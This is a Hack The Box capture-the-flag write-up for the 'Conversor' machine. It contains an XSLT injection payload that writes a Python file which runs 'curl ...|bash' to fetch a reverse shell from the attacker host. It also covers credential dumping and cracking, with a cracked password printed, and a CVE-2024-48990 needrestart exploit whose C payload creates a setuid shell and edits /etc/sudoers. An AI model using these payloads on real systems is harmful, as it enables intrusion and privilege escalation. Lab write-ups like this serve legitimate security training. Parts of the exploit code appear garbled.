Hackthebox Conversor machine write up
H3ll0 pwn3rs !!!
Here is a writeup for Hackthebox Conversor machine

Hackthebox Conversor box is an easy linux machine.
I exploited the machine as follow:
- Exploit XSLT Injection to upload python script on flask app and run code to get reverse shell
- Found databse file
- Retrieve users names and passwords in md5 hash
- Crack the password of fismathack with hashcat
- Connect to ssh with fismathack credential
- Found sudo configuration that allow to run needrestart as root
- Exploit CVE-2024-48990 to make PricEsc
- Get root access
Nmap scan
# Nmap 7.94SVN scan initiated Thu Nov 20 20:03:29 2025 as: nmap -sSVC -T4 --min-rate 1000 -o nmap.scan 10.10.11.92
Nmap scan report for 10.10.11.92 (10.10.11.92)
Host is up (2.8s latency).
Not shown: 949 closed tcp ports (reset), 49 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 01:74:26:39:47:bc:6a:e2:cb:12:8b:71:84:9c:f8:5a (ECDSA)
|_ 256 3a:16:90:dc:74:d8:e3:c4:51:36:e2:08:06:26:17:ee (ED25519)
80/tcp open http Apache httpd 2.4.52
|_http-title: Did not follow redirect to http://conversor.htb/
|_http-server-header: Apache/2.4.52 (Ubuntu)
Service Info: Host: conversor.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Nov 20 20:04:21 2025 -- 1 IP address (1 host up) scanned in 52.56 seconds
Nmap (TCP) scan reveal two opens port 22 for ssh and 80 for http . UDP scan reveal nothing
add conversor.htb to /ect/hosts
echo "10.10.11.92 conversor.htb " | sudo tee -a /etc/hosts
1. Foothold: Web attack
I tried SQLI, SSTI and others injection attack on login, register forms but didn’t found anything.
After account creation and login, we can found that the web page allow as to upload xml and xslt file and those files will be convert to html file.
They also has /about andpoint that allow as to download the app source code which is python flask app

The main ideal that come in my mind was to try XXE Injection. After tryhard and error, i could confirm that XML entity is allow, by external entities are not allow. So impossible for me to exploit XML External Entity Injection
Let us analyse the source code we downloaded
@app.route('/convert', methods=['POST'])
93 def convert():$
94 if 'user_id' not in session:
95 return redirect(url_for('login'))
96 xml_file = request.files['xml_file']
97 xslt_file = request.files['xslt_file']
98 from lxml import etree
99 xml_path = os.path.join(UPLOAD_FOLDER, xml_file.filename)
100 xslt_path = os.path.join(UPLOAD_FOLDER, xslt_file.filename)
101 xml_file.save(xml_path)
102 xslt_file.save(xslt_path)
103 try:
104 parser = etree.XMLParser(resolve_entities=False, no_network=True, dtd_validation=False, load_dtd=False)
105 xml_tree = etree.parse(xml_path, parser)
106 xslt_tree = etree.parse(xslt_path)
107 transform = etree.XSLT(xslt_tree)
108 result_tree = transform(xml_tree)
109 result_html = str(result_tree)
110 file_id = str(uuid.uuid4())
111 filename = f"{file_id}.html"
112 html_path = os.path.join(UPLOAD_FOLDER, filename)
113 with open(html_path, "w") as f:
114 f.write(result_html)
115 conn = get_db()
116 conn.execute("INSERT INTO files (id,user_id,filename) VALUES (?,?,?)", (file_id, session['user_id'], filename))
117 conn.commit()
118 conn.close()
119 return redirect(url_for('index'))
120 except Exception as e:
121 return f"Error: {e}"
The snipped bellow reveal that when we upload xml and xslt files, those files are processed by lxml python3 lib utils XEE didn’t work . So let try SXLT Injection
What is SXLT INJECTION
XSLT injection in Python using lxml occurs when an attacker can manipulate XSLT stylesheets processed by the application, potentially leading to unauthorized access or execution of commands. This vulnerability arises from improper handling of user input in XSLT transformations, allowing for exploitation if the application does not validate or sanitize the input correctly.
Payloadallthething XSLT Injection
Using payloadAllTheThings payload, i manage to create evil.txt file on server : The source code reveal server root directory which is /var/www/conversor.htb/
<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:exploit="http://exslt.org/common"
extension-element-prefixes="exploit"
version="1.0">
<xsl:template match="/">
<exploit:document href="/var/www/conversor.htb/static/evil.txt" method="text">
Hello World!
</exploit:document>
</xsl:template>
</xsl:stylesheet>

So We can write file on server, but what can we do with that !! ?
What happen if we write python script on the server ?
can we exec the script by navigating on it !? No
i wrote evil.py on static directory and unable to exec it.
By when i wrote evil.py on script directory, something strangle, those script get executed
<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:exploit="http://exslt.org/common"
extension-element-prefixes="exploit"
version="1.0">
<xsl:template match="/">
<exploit:document href="/var/www/conversor.htb/scripts/evil.py" method="text">
import os # make sure that your python scrip is well indented
os.system("curl 10.10.16.57:9090/")
</exploit:document>
</xsl:template>
</xsl:stylesheet>
For xml file, i just uploaded nmap scan result
Upload this xslt file and nmap scan result xml file, and the python3 code get executed on the server.
Make sure that your python code is well indented
So we have code execution on the server, Time to make reverse shell
To do that, i create a reverse shell script on my python http server, curl it through python3 and direct exec it with bash
The final xslt file is here:
<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:exploit="http://exslt.org/common"
extension-element-prefixes="exploit"
version="1.0">
<xsl:template match="/">
<exploit:document href="/var/www/conversor.htb/scripts/evil.py" method="text">
import os # make sure that your python scrip is well indented
os.system("curl 10.10.16.57:9090/revshell.txt|bash")
</exploit:document>
</xsl:template>
</xsl:stylesheet>
And we got the shell

What to do next !?, Enumeration
We have users.db in conversor.htb/instance directory, let download it and read it content with sqlite3
└──╼ $nc -lv 4444
Listening on 0.0.0.0 4444
Connection received on conversor.htb 41470
sh: 0: can't access tty; job control turned off
$ ls
conversor.htb
$ ls -al
total 12
drwxr-x--- 3 www-data www-data 4096 Aug 15 05:19 .
drwxr-xr-x 13 root root 4096 Jul 31 03:55 ..
lrwxrwxrwx 1 root root 9 Aug 15 05:19 .bash_history -> /dev/null
drwxr-x--- 8 www-data www-data 4096 Aug 14 21:34 conversor.htb
lrwxrwxrwx 1 root root 9 Aug 15 05:19 .python_history -> /dev/null
lrwxrwxrwx 1 root root 9 Aug 15 05:19 .sqlite_history -> /dev/null
$ cd convertor
sh: 3: cd: cd can't cd to convertor
$ conversor.htb
$ ls
app.py
app.wsgi
instance
__pycache__
scripts
static
templates
uploads
$ cd scrips
sh: 6: cd: lcan't cd to scrips
$cd scripts
$ ls
cleanup_uploads.py
evil.py
$ cd ..
$ ls
app.py
app.wsgi
instance
__pycache__
scripts
static
templates
uploads
$ cd instance
$ ls
users.db
$ cp users.db ../static
I copied users.db from instance to static folder so i can download it using curl:
$curl http://conversor.htb/static/users.db -O
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 24576 100 24576 0 0 10370 0 0:00:02 0:00:02 --:--:-- 10373
$sqlite3 users.db
SQLite version 3.40.1 2022-12-28 14:03:47
Enter ".help" for usage hints.
sqlite> .tables
files users
sqlite> select * from users
...> ;
1|fismathack|5b5c3ac3a1c897c94caad48e6c71fdec
5|test|098f6bcd4621d373cade4e832627b4f6
sqlite>
So we got fismathack md5 password hash. Let us crack it with hashcat
Crack fishmathack password hash with hashcat
hashcat -m 0 -a 0 hash.txt /usr/share/wordlists/rockyou.txt --user --show
fismathack:5b5c3ac3a1c897c94caad48e6c71fdec:Keepmesafeandwarm
fismathack password is: Keepmesafeandwarm
Use fishmathack credential to access to ssh and read user flag

Root flag hunting
A little linux priv Esc Tricks reveal that fismathack can exec /usr/sbin/needrestart with sudo without enter passwrod.
Here is our real path to priv Esc.
By what can we do with needrestart !!??
A little google search reveal CVE-2024-48990 which is privEsc vuln affecting needrestart binary
for more on this vulnerability, you can look here CVE-2024-48990 Explain
Lucky for us, a POC for this vuln can be found on github at: CVE-2024-48990 POC
Analyse of the POC:
What the POC actually do :
The Vuln itself is python importlib hijacking.
The POC:
- Create one directory on /tmp:
mkdir /tmp/malicious - compile C code to shared object
__init__.sowhich when exec with sudo right, will copy /bin/bash to /tmp/poc and setup /tmp/poc to be suid binary so everyone can exec it to get root shell init.so file is store onmalicious/importlib/directory so when python scripyt running in malicious directory callimport importlib`, the shared objec file __init__.so will be exec`c #include#include #include <sys/types.h> #include
static void a() attribute((constructor));
void a() { if(geteuid() == 0) { // Only execute if we’re running with root privileges setuid(0); setgid(0); const char *shell = “cp /bin/sh /tmp/poc; “ “chmod u+s /tmp/poc; “ “grep -qxF ‘ALL ALL=NOPASSWD: /tmp/poc’ /etc/sudoers || “ “echo ‘ALL ALL=NOPASSWD: /tmp/poc’ | tee -a /etc/sudoers > /dev/null &”; system(shell); } } ```
- After that, the poc create python3 script ( e.py) in malicious directory.
e.py when exec will make
import importlibso our previous shared object will be exec - But for all to work well, we must setup
PYTHONPATH to be egal to /tmp/malicious directory.
Why ? Because we want to make python considere /tmp/malicious as the default directory where it must search libray
PYTHONPATH="$PWD" - Finally, the Poc run our previous python3 script e.py to get a shell.
To follow the POC, we must compile the shared object on our local machine and upload it on the server and follow others instructions to get root shell
After exec e.py script, we must now open an other terminal to exec needrestar binary with sudo command
And we got root access

If you follow correctly all those step, you will get root access.